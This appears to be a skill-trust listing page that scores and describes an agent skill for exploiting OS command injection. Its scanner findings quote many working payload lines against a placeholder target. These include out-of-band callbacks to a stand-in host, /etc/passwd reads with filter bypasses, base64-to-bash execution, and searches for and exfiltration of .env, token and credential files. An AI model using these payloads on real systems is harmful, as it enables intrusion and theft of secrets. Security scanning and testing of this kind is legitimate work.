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exploit-command-injection
82 / 100 · Low risk
Fine to try. Some of what it can do is expected: a coding skill usually runs build and test commands.
By BitterSecurity/Decepticon (GitHub) · coding · 6,581 stars · scanned at commit bdb1016
OS Command Injection — exploiting applications that pass user input to OS commands without sanitization. Covers injection operators (;, |, ||, &&, $(), backticks, newline), blind detection (time-based, OOB callback), and bypass techniques (space, keyword, encoding).
Works with any agent that supports SKILL.md skills.
What this skill can do
Connects to the internet
The author does not mention this.
Found in 25 places.
Show 17 more
- packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.md, line 20
curl -s 'https://<TARGET>/ping?host=127.0.0.1`id`' -o cmdi_backtick.txt - packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.md, line 21
curl -s 'https://<TARGET>/ping?host=127.0.0.1%0aid' -o cmdi_newline.txt - packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.md, line 24
curl -s 'https://<TARGET>/ping?host=127.0.0.1;sleep+5' --max-time 10 -w '\nTime: %{time_total}s\n' - packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.md, line 27
curl -s 'https://<TARGET>/ping?host=127.0.0.1;curl+http://<CALLBACK>/cmdi' - packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.md, line 28
curl -s 'https://<TARGET>/ping?host=127.0.0.1;nslookup+<CALLBACK>' - packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.md, line 47
curl -s 'https://<TARGET>/ping?host=127.0.0.1;cat${IFS}/etc/passwd' - packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.md, line 48
curl -s 'https://<TARGET>/ping?host=127.0.0.1;{cat,/etc/passwd}' - packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.md, line 49
curl -s 'https://<TARGET>/ping?host=127.0.0.1;cat%09/etc/passwd' # tab - packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.md, line 52
curl -s 'https://<TARGET>/ping?host=127.0.0.1;c\at+/etc/passwd' # backslash - packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.md, line 53
curl -s 'https://<TARGET>/ping?host=127.0.0.1;ca""t+/etc/passwd' # empty quotes - packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.md, line 54
curl -s 'https://<TARGET>/ping?host=127.0.0.1;tac+/etc/passwd' # alternative command - packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.md, line 55
curl -s 'https://<TARGET>/ping?host=127.0.0.1;head+/etc/passwd' # alternative command - packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.md, line 58
curl -s "https://<TARGET>/ping?host=127.0.0.1;\$(echo+aWQ=|base64+-d|bash)" - packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.md, line 70
result=$(curl -s "http://<TARGET>/vuln?cmd=cat+$f" 2>/dev/null | head -5) - packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.md, line 76
curl -s "http://<TARGET>/vuln?cmd=find+/+-type+f+\(-name+'*.env'-o+-name+'config*'-o+-name+'secret*'-o+-name+'cred*'-o+-name+'token*'\)+2>/dev/null" \ - packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.md, line 91
curl -s 'https://<TARGET>/ping?host=127.0.0.1;cat+/.env+>+/var/www/html/out.txt' - packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.md, line 92
curl -s 'https://<TARGET>/out.txt' # retrieve output
and 5 more places
Runs commands on your computer
This is disclosed by the author in the skill's SKILL.md or README. Expected for a coding skill.
Found in 4 places.
Show 1 more
Reads your saved credentials, such as SSH keys or .env files
This is disclosed by the author in the skill's SKILL.md or README.
Found in 3 places.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'exploit-command-injection' ] || [ -L ~/.agents/skills/'exploit-command-injection' ]; then echo 'A skill folder named exploit-command-injection already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/BitterSecurity/Decepticon' "$d" && git -C "$d" checkout --quiet 'bdb1016c93ed687f61ac57481da298c25a47c8f5' -- 'packages/decepticon/decepticon/skills/standard/exploit/web/command-injection' && mkdir -p ~/.agents/skills && cp -R "$d"/'packages/decepticon/decepticon/skills/standard/exploit/web/command-injection' ~/.agents/skills/'exploit-command-injection' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'exploit-command-injection' ~/.claude/skills/'exploit-command-injection' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for BitterSecurity/Decepticon shows the score of its lowest-scoring skill.

[](https://zalavijaysinh.github.io/skilltrust/repos/BitterSecurity/Decepticon/)
Score history
| Date | Version | Score |
|---|
| 2026-11-11 | bdb1016 | 82 |
| 2026-11-08 | df87955 | 82 |